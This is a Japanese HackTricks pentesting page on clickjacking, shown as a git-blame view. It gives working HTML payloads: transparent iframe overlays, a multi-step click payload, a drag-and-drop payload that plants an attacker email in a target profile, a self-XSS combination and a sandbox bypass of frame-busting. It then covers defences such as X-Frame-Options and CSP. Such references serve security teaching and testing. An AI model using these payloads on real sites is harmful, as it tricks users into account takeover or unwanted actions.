hacktricks/pentesting-web/clickjacking.md

224 lines
13 KiB
Markdown
Raw Normal View History

# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Clickjackingとは
Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、またはオンラインでの製品購入などが挙げられます。
### フォームの事前入力トリック
時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます**。攻撃者はこの動作を悪用して、フォームに任意のデータを入力してクリックジャッキングペイロードを送信し、ユーザーがボタンを押すようにすることができます。
2020-10-13 11:29:54 +00:00
### ドラッグ&ドロップでフォームにデータを入力
2020-10-13 11:29:54 +00:00
ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**して、制御されたデータを書き込むようにすることができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように。
```markup
<style>
2023-07-07 23:42:27 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2023-07-07 23:42:27 +00:00
### マルチステップペイロード
```markup
<style>
2023-07-07 23:42:27 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### ドラッグ&ドロップ + クリックペイロード
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
**XSS攻撃を特定し、ユーザーがクリックする必要がある** **XSSをトリガー**するページが**Clickjackingに脆弱**である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。\
例:\
_アカウントのプライベート詳細**あなただけが設定および読み取り可能**)で**self XSS**を見つけました。これらの詳細を設定するための**フォーム**が**Clickjackingに脆弱**であり、GETパラメータで**フォーム**を**事前に埋め込む**ことができます。_\
\_\_攻撃者は、そのページに**Clickjacking**攻撃を準備し、**XSSペイロード**を**フォームに事前に埋め込み**、**ユーザー**をだまして**フォームを送信**させる可能性があります。そのため、**フォームが送信され**値が変更されると、**ユーザーがXSSを実行**します。
## Clickjackingの緩和戦略
### クライアントサイドの防御策
クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:
* アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
* すべてのフレームを表示する。
* 不可視フレームでのクリックを防止する。
* Clickjackingの試みを検出してユーザーに警告する。
ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:
* **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
* **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-forms`または`allow-scripts`の値を設定し、`allow-top-navigation`を含まない`sandbox`属性を設定することで、フレームブレーキングスクリプトを無効化できます。これにより、iframeはトップウィンドウかどうかを検証しなくなります。
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### サーバーサイドの防御策
#### X-Frame-Options
**`X-Frame-Options` HTTPレスポンスヘッダー**は、`<frame>`または`<iframe>`内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます
- `X-Frame-Options: deny` - どのドメインもコンテンツをフレーム化できません。
- `X-Frame-Options: sameorigin` - 現在のサイトのみがコンテンツをフレーム化できます。
- `X-Frame-Options: allow-from https://trusted.com` - 指定された 'uri' のみがページをフレーム化できます。
- このディレクティブをサポートしていないブラウザがあるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好む場合があります。
#### Content Security Policy (CSP) frame-ancestorsディレクティブ
CSP内の**`frame-ancestors`ディレクティブ**はClickjacking保護の推奨方法です
- `frame-ancestors 'none'` - `X-Frame-Options: deny`と同様。
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`と同様。
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`と同様。
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します
`Content-Security-Policy: frame-ancestors 'self';`
詳細や複雑な例については、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)および[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)を参照してください。
### Content Security Policy (CSP)の`child-src`および`frame-src`を使用したCSP
**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。
#### `frame-src`ディレクティブ
- フレームの有効なソースを定義します。
- `default-src`ディレクティブよりも具体的です。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームが許可されています。
#### `child-src`ディレクティブ
- CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するためのものです。
- frame-srcおよびworker-srcのフォールバックとして機能します。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームとワーカーが許可されています。
**使用上の注意:**
* 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
* フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
* 厳密なソースの定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。
#### JavaScriptによるフレーム破壊スクリプト
完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Anti-CSRF トークンの利用
* **トークンの検証:** Webアプリケーションで反CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。
2023-07-07 23:42:27 +00:00
## 参考文献
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローします。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>